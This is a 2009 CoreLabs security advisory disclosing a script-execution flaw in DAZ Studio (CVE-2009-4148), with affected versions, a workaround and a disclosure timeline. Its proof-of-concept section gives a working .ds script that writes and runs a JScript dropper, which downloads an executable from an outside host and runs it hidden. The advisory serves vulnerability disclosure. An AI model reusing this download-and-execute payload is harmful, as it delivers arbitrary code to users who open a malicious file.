DAZ Studio - Arbitrary Command Execution

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      Core Security Technologies - CoreLabs Advisory

           http://www.coresecurity.com/corelabs/



DAZ Studio Arbitrary Command Execution







1. *Advisory Information*



Title: DAZ Studio Arbitrary Command Execution

Advisory Id: CORE-2009-0911

Advisory URL:

http://www.coresecurity.com/content/dazstudio-scripting-injection

Date published: 2009-12-02

Date of last update: 2009-12-01

Vendors contacted: DAZ

Release mode: User release







2. *Vulnerability Information*



Class: Insufficient UI Warning of Dangerous Operations [CWE-357]

Impact: Code execution

Remotely Exploitable: Yes

Locally Exploitable: No

Bugtraq ID: 37176

CVE Name: CVE-2009-4148







3. *Vulnerability Description*



DAZ Studio [2] is a 3D figure illustration/animation application

released by DAZ 3D Inc. DAZ Studio can be accessed via a scripting

language which allows for quite a bit of diversity in tool creation. DAZ

Studio does not ask for any confirmation from the user prior to

executing a scripting file with any of the following extensions: .ds,

.dsa, .dse, .dsb. An attacker could abuse the scripting interface by

enticing an unsuspecting user to open a malicious scripting file, thus

obtaining remote code execution.





4. *Vulnerable packages*



   . DAZ Studio 2.3.3.161

   . DAZ Studio 2.3.3.163

   . DAZ Studio 3.0.1.135

   . Older versions are probably affected too, but they were not checked.





5. *Vendor Information, Solutions and Workarounds*



The vendor did not provide fixes or workaround information.



To prevent the accidental execution of malicious scripting files you can

disable the default file association of the dangerous file extensions in

the Windows Explorer. The following KB article from Microsoft describe

how to deassociate a file extension.

http://support.microsoft.com/kb/307859





6. *Credits*



This vulnerability was discovered and researched by Diego Juarez from

Core Security Technologies during Bugweek 2009 [1].





7. *Technical Description / Proof of Concept Code*



The following Proof of Concept .ds file demonstrates remote code

execution by downloading and executing putty in the context of DAZ Studio.



/-----

// DAZ Studio PoC

var oFile = new DzFile("d:\\test.js");

oFile.open(2);

oFile.write("s=WScript.CreateObject(\'WScript.Shell\');o=WScript.CreateObject(\'ADODB.Stream\');e=s.Environment(\'Process\');u=\'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe\';b=e.Item(\'TEMP\')+\'\\\\agent.exe\';try{x=new

ActiveXObject(\'Microsoft.XMLHTTP\');}catch(e){x=new

ActiveXObject(\'MSXML2.ServerXMLHTTP\');}if(!x)exit(0);x.open(\'GET\',u,0);x.send(null);d=x.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(d);o.SaveToFile(b,2);s.Run(b,0);\r\n");

oFile.close()



var oProcess = new DzProcess(["wscript", "d:\\test.js"]);

oProcess.start();



- -----/







8. *Report Timeline*



. 2009-11-06:

Core Security Technologies completes a support form trying to reach a

security contact from DAZ.



. 2009-11-06:

Core receives an email saying that Core contact email was not recognised

as a registered email.



. 2009-11-06:

Core completes a registration form to be able to contact the support team.



. 2009-11-13:

Since DAZ support team didn't respond to any mail, Core contacts CERT

trying to obtain a valid security contact at DAZ.



. 2009-11-16:

CERT acknowledges the comunication, and Core reschedules the advisory to

November 30th, 2009 based on CERT recommendations.



. 2009-11-18:

CERT communicates that the vendor doesn't seem familiar with

vulnerability reporting/disclosure, and request additional information

about the vulnerability.



. 2009-11-18:

CERT contacted DAZ four times between 11/16 and 11/30.



. 2009-11-19:

Core replies that the issue is a script injection vulnerability.



. 2009-11-30:

DAZ did not wish to provide contact information.



. 2009-12-03:

The advisory CORE-2009-0911 is published.







9. *References*



[1] The author participated in Core Bugweek 2009 as member of the team

"Gimbal Lock N Load".

[2] DAZ Studio: http://www.daz3d.com/i/software/daz_studio3?_m=d





10. *About CoreLabs*



CoreLabs, the research center of Core Security Technologies, is charged

with anticipating the future needs and requirements for information

security technologies. We conduct our research in several important

areas of computer security including system vulnerabilities, cyber

attack planning and simulation, source code auditing, and cryptography.

Our results include problem formalization, identification of

vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers,

project information and shared software tools for public use at:

http://www.coresecurity.com/corelabs.





11. *About Core Security Technologies*



Core Security Technologies develops strategic solutions that help

security-conscious organizations worldwide develop and maintain a

proactive process for securing their networks. The company's flagship

product, CORE IMPACT, is the most comprehensive product for performing

enterprise security assurance testing. CORE IMPACT evaluates network,

endpoint and end-user vulnerabilities and identifies what resources are

exposed. It enables organizations to determine if current security

investments are detecting and preventing attacks. Core Security

Technologies augments its leading technology solution with world-class

security consulting services, including penetration testing and software

security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core

Security Technologies can be reached at 617-399-6980 or on the Web at

http://www.coresecurity.com.





12. *Disclaimer*



The contents of this advisory are copyright (c) 2009 Core Security

Technologies and (c) 2009 CoreLabs, and may be distributed freely

provided that no fee is charged for this distribution and proper credit

is given.





13. *PGP/GPG Keys*



This advisory has been signed with the GPG key of Core Security

Technologies advisories team, which is available for download at

http://www.coresecurity.com/files/attachments/core_security_advisories.asc.



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